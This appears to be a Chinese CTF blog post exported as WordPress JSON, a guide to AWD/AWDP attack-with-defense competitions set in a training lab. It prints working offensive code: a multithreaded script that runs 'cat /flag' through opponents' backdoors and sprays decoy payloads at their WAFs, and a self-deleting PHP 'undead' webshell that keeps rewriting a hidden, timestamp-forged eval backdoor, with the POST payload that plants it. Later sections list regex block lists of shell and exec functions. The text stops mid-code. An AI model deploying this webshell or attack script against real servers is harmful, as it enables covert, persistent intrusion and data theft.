{"id":1948,"date":"2023-06-01T13:13:50","date_gmt":"2023-06-01T05:13:50","guid":{"rendered":"https:\/\/fushuling.com\/?p=1948"},"modified":"2023-08-18T10:51:58","modified_gmt":"2023-08-18T02:51:58","slug":"awd","status":"publish","type":"post","link":"https:\/\/fushuling.com\/index.php\/2023\/06\/01\/awd\/","title":{"rendered":"AWD&#038;&#038;AWDP"},"content":{"rendered":"\n<h1 class=\"wp-block-heading\">AWD\u4e00\u822c\u6d41\u7a0b<\/h1>\n\n\n\n<h2 class=\"wp-block-heading\">\u51c6\u5907\u5de5\u4f5c<\/h2>\n\n\n\n<p>\u4ee5buuoj Basic\u91cc\u7684AWD-Test1\u4f5c\u4e3a\u4f8b\u5b50<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/06\/1.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"622\" height=\"807\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/06\/1.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1949\"  sizes=\"auto, (max-width: 622px) 100vw, 622px\" \/><\/div><\/figure>\n\n\n\n<p>\u9996\u5148\u4f1a\u7ed9\u6211\u4eec\u4e00\u4e2a\u8d26\u53f7\uff0c\u4f46\u8fd9\u4e2a\u8d26\u53f7\u662f\u4f4e\u6743\u9650\u7684\uff0c\u6bcf\u4e2a\u961f\u4f0d\u90fd\u6709\u4e00\u53f0\u670d\u52a1\u5668\uff0c\u4e00\u822c\u6765\u8bf4\u670d\u52a1\u5668\u4e0a\u6709\u4e00\u4e2a\u5145\u6ee1\u6f0f\u6d1e\u7684web\u670d\u52a1\uff0c\u7136\u540e\u5f00\u653e\u4e86ssh\u7aef\u53e3\uff0c\u5e76\u4e14\u6bcf\u4e2a\u961f\u4f0d\u670d\u52a1\u5668\u57fa\u672c\u4e0a\u90fd\u662f\u4e00\u6837\u7684\uff0c\u6240\u4ee5\u9700\u8981\u6211\u4eec\u5728\u4fee\u590d\u671f\u4fee\u590d\u81ea\u5df1\u670d\u52a1\u5668\u4e0a\u7684\u6f0f\u6d1e\u7136\u540e\u5229\u7528\u6f0f\u6d1e\u53bb\u653b\u51fb\u5176\u4ed6\u961f\u4f0d\u7684\u670d\u52a1\u5668\u3002<\/p>\n\n\n\n<p>\u8fd9\u91cc\u6211\u4eec\u7684\u8d26\u53f7\u4e3aglzjin\uff0c\u5bc6\u7801\u4e3a123456\uff0c\u53ef\u4ee5\u4f7f\u7528xshell\u8fdb\u884c\u8fde\u63a5<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/06\/2-1024x693.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"693\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/06\/2-1024x693.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1950\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>\u4f7f\u7528\u8d26\u53f7\u5bc6\u7801\u8fde\u63a5\u6210\u529f\u540e\u628a\u5bc6\u7801\u6539\u7684\u5c3d\u53ef\u80fd\u590d\u6742<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/06\/1-1.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"972\" height=\"393\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/06\/1-1.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1951\"  sizes=\"auto, (max-width: 972px) 100vw, 972px\" \/><\/div><\/figure>\n\n\n\n<p>\u4e4b\u540e\u8fdb\u5165\u7f51\u7ad9\u76ee\u5f55\uff0c\u5bf9\u6e90\u7801\u8fdb\u884c\u6253\u5305<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>tar -cvf html.tar \/var\/www<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/06\/1-2.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"671\" height=\"317\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/06\/1-2.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1952\"  sizes=\"auto, (max-width: 671px) 100vw, 671px\" \/><\/div><\/figure>\n\n\n\n<p>\u4f7f\u7528xshell\u7684ftp\u529f\u80fd\u4f20\u8f93\u6e90\u7801\u5907\u4efd<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/06\/1-3-1024x665.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"665\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/06\/1-3-1024x665.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1953\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">\u626bip<\/h2>\n\n\n\n<p>\u56e0\u4e3a\u4e00\u822c\u7684awd\uff0c\u5bf9\u624b\u7684ip\u4e5f\u5c31\u90a3\u51e0\u4e2a\u53d8\u5316\uff0c\u4e0anmap\u4e4b\u7c7b\u7684\u626b\u8d77\u6765\u592a\u6162\u4e86\uff0c\u5176\u5b9e\u5199\u4e2a\u811a\u672c\u5c31\u591f\u4e86<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>import pythonping\nfrom concurrent.futures import ThreadPoolExecutor\n\n\ndef get_ip(ip):\n    res = pythonping.ping(ip)\n    if \"Reply\" in str(res):\n        print(ip + \" \u662f\u5b58\u6d3b\u5730\u5740\")\n\n\nip = &#91;]\nfor num in range(1, 255):\n    ip.append(\"192-168-1-\" + str(num) + \".pvp1964.bugku.cn\")\nwith ThreadPoolExecutor(max_workers=100) as executor:\n    result = executor.map(get_ip, ip)\n<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">\u627e\u6f0f\u6d1e<\/h2>\n\n\n\n<p>\u4f7f\u7528D\u76fe\u5bf9\u6e90\u7801\u8fdb\u884c\u540e\u95e8\u68c0\u67e5<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/06\/1-4-1024x701.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"701\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/06\/1-4-1024x701.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1954\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>\u53f3\u952e\uff0c\u67e5\u770b\u6587\u4ef6\uff0c\u53ef\u4ee5\u770b\u89c1\u6587\u4ef6\u7684\u5185\u5bb9\uff0c\u786e\u5b9e\u662f\u4e00\u4e2a\u540e\u95e8<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/06\/1-5.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1018\" height=\"548\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/06\/1-5.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1955\"  sizes=\"auto, (max-width: 1018px) 100vw, 1018px\" \/><\/div><\/figure>\n\n\n\n<p>\u8bb0\u4f4f\u5b83\u7684\u4f4d\u7f6e\uff0c\u540e\u9762\u6211\u4eec\u53ef\u4ee5\u7528\u8fd9\u4e2a\u540e\u95e8\u6253\u5176\u4ed6\u7684\u961f\uff0c\u6211\u4e00\u822c\u559c\u6b22\u8986\u76d6\u4e2a\u5047\u7684\u9a6c\u4e0a\u53bb\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;?php\nif (isset($_POST&#91;'MINI'])){\n    echo 'flag{dee5e757-002f-11ee-ac0f-145afc016425}';\n}\n?&gt;<\/code><\/pre>\n\n\n\n<p>\u628a\u4fee\u6539\u4e86\u7684\u6587\u4ef6\u8986\u76d6\u8fc7\u53bb<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/06\/1-6-1024x590.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"590\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/06\/1-6-1024x590.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1956\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>\u8fd9\u6837\u5c31\u6d88\u9664\u4e86\u6211\u4eec\u672c\u5730\u7684\u540e\u95e8\uff0c\u7136\u540e\u6211\u4eec\u53ef\u4ee5\u5199\u811a\u672c\u8fdb\u884c\u653b\u51fb\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>import random\nimport re\nimport threading\nimport requests\n\nipslist = open(\"ips.txt\").readlines()\nsubmitapi = \"http:\/\/127.0.0.1:80\/submit.php\" #\u63d0\u4ea4flag\u7684\u63a5\u53e3\ntoken = \"xxxx\"           #\u63d0\u4ea4flag\u9700\u8981\u7528\u5230\u7684token\uff0c\u5982\u679c\u6709\u7684\u8bdd\nflagtag = \"flag\" #flag\u6807\u7b7e\uff0c\u5982 flag\u3001ctf\u3001*ctf\nip1 = &#91;\"192.168.1.1\"] #\u767d\u540d\u5355IP\uff0c\u4ee5\u9632\u6253\u5230\u81ea\u5df1\u7684\nport = 80 #\u76ee\u6807\u7aef\u53e3\n\nips = &#91;]\nfor i in ipslist:\n    if not i in ip1:\n        ips.append(i)\nipslist = ips\n\ndef getflag(ip):\n    flag = \"\"\n    url = \"http:\/\/\" + ip + f\":{port}\/index.php\"\n    try:\n        res = requests.post(url,{\"cmd\":\"cat \/flag\"},timeout=2).text\n        fh = re.findall(flagtag + \"\\{.*\\}\", res)\n        if len(fh) &gt; 0:\n            flag = fh&#91;0]\n    except:\n        pass\n    return flag\n# \u83b7\u53d6flag\n\n\ndef submit(flag):\n    res = requests.post(submitapi,data={\"token\":token,\"flag\":flag}).text\n    if \"ok\" in res:\n        return True\n    return False\n# \u63d0\u4ea4flag\n\n\ndef start():\n    count = 0\n    faild = &#91;]\n    for i in ipslist:\n        ip = i.strip()\n        if ip != \"\":\n            threading.Thread(target=wafkill,args=(ip,port)).start()\n            flag = getflag(ip)\n            if flag == \"\":\n                faild.append(ip)\n                continue\n            if submit(flag):\n                count += 1\n                print(\"\u63d0\u4ea4\u6210\u529f:\",flag)\n                threading.Thread(target=wafkill, args=(ip, port)).start()\n            else:\n                faild.append(ip)\n                print(\"\u63d0\u4ea4\u5931\u8d25:\",flag)\n    res = \"\u672c\u6b21\u6210\u529f\u63d0\u4ea4\" + str(count) + \"\u6b21flag\uff0c\u603b\u5171 \" + str(count + len(faild)) + \"\u4e2a\u76ee\u6807\u3002\u672a\u6210\u529f\u63d0\u4ea4\u7684IP\u5982\u4e0b\uff1a\"\n    for i in faild:\n        res += i + \"\\r\\n\"\n    print(res)\n# \u4e3b\u51fd\u6570\n\n\ndef wafkill(ip, port):\n    port = str(port)\n    evildict = &#91;'system', 'eval', 'file_get_contents', 'shell', '\/flag', \"'or 1#\", 'load_file', '`cat \/flag`',\n                'file_put_contents', 'assert']\n    route = &#91;'index.php', '']\n    field = &#91;\"cmd\",\"shell\",\"a\",\"m\",\"s\",\"c\"]\n    arge = &#91;'cat \/flag', 'system(\"cat \/flag\")', '\/flag', '$_GET&#91;xxx]', '$POST&#91;xxx]']\n    for i in route:\n        for j in evildict:\n            arg = arge&#91;random.randint(99, 999) % len(arge) - 1]\n            url = \"http:\/\/\" + ip + \":\" + port + \"\/\" + i + \"?\" + field&#91;random.randint(99, 999) % len(field) - 1] + \"=\" + j + \"('\" + arg + \"')&amp;\" + evildict&#91;\n                random.randint(99, 999) % len(evildict) - 1] + \"=\" + arge&#91;random.randint(99, 999) % len(arge) - 1]\n            try:\n                requests.post(url, {field&#91;random.randint(99, 999) % len(field) - 1]: j + \"(' \" + arg + \"')\"}, timeout=2)\n            except:\n                break\n# \u4e71\u53d1\u6570\u636e\uff0c\u5e72\u6270waf\n\nif __name__ == \"__main__\":\n    start()<\/code><\/pre>\n\n\n\n<p>\u6392\u9664\u4e3b\u529e\u65b9\u9884\u7559\u7684\u540e\u95e8\u540e\uff0c\u6211\u4eec\u9700\u8981\u5bf9\u6e90\u7801\u8fdb\u884c\u5ba1\u8ba1\u627e\u5230\u6f0f\u6d1e\uff0c\u8fd9\u91cc\u53ef\u4ee5\u4f7f\u7528Seay\u8fdb\u884c\u5ba1\u8ba1\uff0c\u7528goby\u8fdb\u884c\u6f0f\u6d1e\u626b\u63cf\uff0c\u627e\u5230\u6f0f\u6d1e\u540e\u8fdb\u4e00\u6b65\u5229\u7528<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/06\/1-7-1024x640.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"640\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/06\/1-7-1024x640.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1957\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">\u5199\u4e0d\u6b7b\u9a6c<\/h2>\n\n\n\n<p>\u6bd4\u5982\u4e0a\u9762\u6211\u4eec\u627e\u5230\u547d\u4ee4\u6267\u884c\u7684\u70b9\u4e4b\u540e\uff0c\u53ef\u4ee5\u628a\u6211\u4eec\u81ea\u5df1\u7684\u4e0d\u6b7b\u9a6c\u5199\u8fdb\u53bb<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;?php\nignore_user_abort(true);\nset_time_limit(0);\nunlink(__FILE__);\n$file = '.m4x.php';\n$code = '&lt;?php if(md5($_POST&#91;\"passwd\"])==\"c9d3243cbc0974a72d89aa1de8011c0b\"){@eval($_POST&#91;\"m4x\"]);} ?&gt;';\nwhile (1){\n    file_put_contents($file,$code);\n    system('touch -m -d \"2018-12-01 09:10:12\" ' . $file);\n    usleep(5000);\n}\n?&gt;<\/code><\/pre>\n\n\n\n<p>\u8fd9\u662f\u4e00\u4e2a\u5185\u5b58\u4e0d\u6b7b\u9a6c\uff0c\u5373\u4f7f\u662frm -rf *\u540e\u4e5f\u4f1a\u7ee7\u7eed\u5b58\u5728\uff0c\u5e76\u4e14\u4f7f\u7528\u4e86md5\u5bf9\u5bc6\u7801\u8fdb\u884c\u52a0\u5bc6\uff0c\u8fd9\u91cc\u7684\u5bc6\u7801\u662ffushuling666777\uff0c\u8fd9\u91cc\u6211\u4eec\u4f7f\u7528POST\u63d0\u4ea4\uff0c\u4ee5\u9632\u6d41\u91cf\u8bb0\u5f55\u5230\u5bc6\u7801\u3002<\/p>\n\n\n\n<p>\u6bd4\u5982\u4e0a\u9762\u6211\u4eec\u7528D\u76fe\u626b\u5230\u4e86\u4e00\u4e2ahint.php\u540e\u95e8\uff0c\u6211\u4eec\u5c31\u53ef\u4ee5\u7528\u90a3\u4e2a\u540e\u95e8\u628a\u6211\u4eec\u81ea\u5df1\u7684\u5185\u5b58\u4e0d\u6b7b\u9a6c\u5199\u8fdb\u53bb\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>POST MINI=file_put_contents('.1.php', '&lt;?php ignore_user_abort(true);set_time_limit(0);unlink(__FILE__);$file=\".m4x.php\";$code=\\'&lt;?php if(md5($_POST&#91;\"passwd\"])==\"c9d3243cbc0974a72d89aa1de8011c0b\"){@eval($_POST&#91;\"m4x\"]);} ?&gt;\\';while(true){file_put_contents($file,$code);system(\"touch -m -d \\\"2018-12-01 09:10:12\\\" \".$file);usleep(5000);}?&gt;')<\/code><\/pre>\n\n\n\n<p>\u7136\u540e\u8bbf\u95ee.1.php\u4f1a\u4e00\u76f4\u8f6c\u5708\u5708\uff0c\u8fd9\u65f6\u6211\u4eec\u7684\u540e\u95e8\u5c31\u5df2\u7ecf\u751f\u6210\u597d\u4e86\uff0c\u8bbf\u95ee.m4x.php\uff0c\u8fdb\u884c\u8fdb\u4e00\u6b65\u5229\u7528<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/06\/1-8-1024x699.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"699\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/06\/1-8-1024x699.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1960\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<h1 class=\"wp-block-heading\">AWDP<\/h1>\n\n\n\n<h2 class=\"wp-block-heading\">PHP<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\">\u547d\u4ee4\u6267\u884cwaf<\/h3>\n\n\n\n<pre class=\"wp-block-code\"><code>function wafrce($str){\n\treturn !preg_match(\"\/openlog|syslog|readlink|symlink|popepassthru|stream_socket_server|scandir|assert|pcntl_exec|fwrite|curl|system|eval|assert|flag|passthru|exec|chroot|chgrp|chown|shell_exec|proc_open|proc_get_status|popen|ini_alter|ini_restore\/i\", $str);\n}<\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">sql\u6ce8\u5165waf<\/h3>\n\n\n\n<pre class=\"wp-block-code\"><code>function wafsqli($str){\n\treturn !preg_match(\"\/select|and|\\*|\\x09|\\x0a|\\x0b|\\x0c|\\x0d|\\xa0|\\x00|\\x26|\\x7c|or|into|from|where|join|sleexml|extractvalue|+|regex|copy|read|file|create|grand|dir|insert|link|server|drop|=|&gt;|&lt;|;|\\\"|\\'|\\^|\\|\/i\", $str);\n}\n$username = addslashes($username);\n$password = addslashes($password);<\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">xss waf<\/h3>\n\n\n\n<pre class=\"wp-block-code\"><code>function wafxss($str){\n\treturn !preg_match(\"\/\\'|http|\\\"|\\`|cookie|&lt;|&gt;|script\/i\", $str);\n}<\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">\u76ee\u5f55\u7a7f\u8d8awaf<\/h3>\n\n\n\n<pre class=\"wp-block-code\"><code>$action = (isset($_GET&#91;'action']) ? $_GET&#91;'action'] : 'home.php');\n$deny_ext = array(\"..\",\"..\/\");\nif (in_array($action, $deny_ext)){\n    if (file_exists($action)) {\n        include $action;\n            } else {\n                echo \"File not found!\";\n            }\n\t\t}<\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">\u6587\u4ef6\u4e0a\u4f20waf<\/h3>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;?php\n$allowed_extensions = array(\"jpg\", \"png\", \"gif\"); \/\/ \u5141\u8bb8\u4e0a\u4f20\u7684\u6587\u4ef6\u540e\u7f00\u540d\n\n    $filename = $_FILES&#91;\"file\"]&#91;\"name\"];\n    $extension = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); \/\/ \u83b7\u53d6\u6587\u4ef6\u540e\u7f00\u540d\u5e76\u8f6c\u6362\u4e3a\u5c0f\u5199\n    \n    if (!in_array($extension, $allowed_extensions)) { \/\/ \u68c0\u67e5\u6587\u4ef6\u540e\u7f00\u540d\u662f\u5426\u5728\u5141\u8bb8\u4e0a\u4f20\u7684\u5217\u8868\u4e2d\n     echo \"\u4e0d\u5141\u8bb8\u4e0a\u4f20\u8be5\u7c7b\u578b\u7684\u6587\u4ef6\uff01\";\n        \n    } else {\n        $target_file = \"uploads\/\" . basename($filename); \/\/ \u4e3a\u4e0a\u4f20\u6587\u4ef6\u6307\u5b9a\u76ee\u6807\u8def\u5f84\n        move_uploaded_file($_FILES&#91;\"file\"]&#91;\"tmp_name\"], $target_file); \/\/ \u5c06\u6587\u4ef6\u4ece\u4e34\u65f6\u76ee\u5f55\u79fb\u52a8\u5230\u76ee\u6807\u8def\u5f84\n        echo \"\u6587\u4ef6\u4e0a\u4f20\u6210\u529f\uff01\";\n    }\n} <\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">\u6587\u4ef6\u5305\u542b\u6f0f\u6d1ewaf<\/h3>\n\n\n\n<pre class=\"wp-block-code\"><code>\u8fd9\u73a9\u610f\u513f\u771f\u7684\u6709waf\u5417\uff0c\u6b63\u5e38\u4ee3\u7801\u4e2d\u771f\u7684\u4f1a\u51fa\u73b0\u8fd9\u79cd\u88ab\u5305\u542b\u6587\u4ef6\u53ef\u63a7\u7684\u60c5\u51b5\u5417\n<\/code><\/pre>\n\n\n\n<p>\u4e3b\u529e\u65b9\u7684exp\u4e00\u822c\u90fd\u662f\u6700\u7b80\u5355\u7684\u90a3\u79cd\uff0c\u8fd9\u6837\u4e00\u822c\u591f\u4e86\uff0c\u7136\u540e\u662f\u5199patch\u5305<\/p>\n\n\n\n<p>\u5047\u5982\u6211\u4eec\u7684\u76ee\u6807\u662fttttteeeessst.php\uff0c\u5b83\u662f\u4e00\u4e2a\u4e00\u53e5\u8bdd\u540e\u95e8\uff0c\u6211\u4eec\u53ef\u4ee5\u628a\u6211\u4eec\u7684waf\u7ed9\u52a0\u4e0a\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;?php \nerror_reporting(0);\nhighlight_file(__FILE__);\nfunction wafrce($str){\n\treturn !preg_match(\"\/openlog|syslog|readlink|symlink|popepassthru|stream_socket_server|scandir|assert|pcntl_exec|fwrite|curl|system|eval|assert|flag|passthru|exec|chroot|chgrp|chown|shell_exec|proc_open|proc_get_status|popen|ini_alter|ini_restore\/i\", 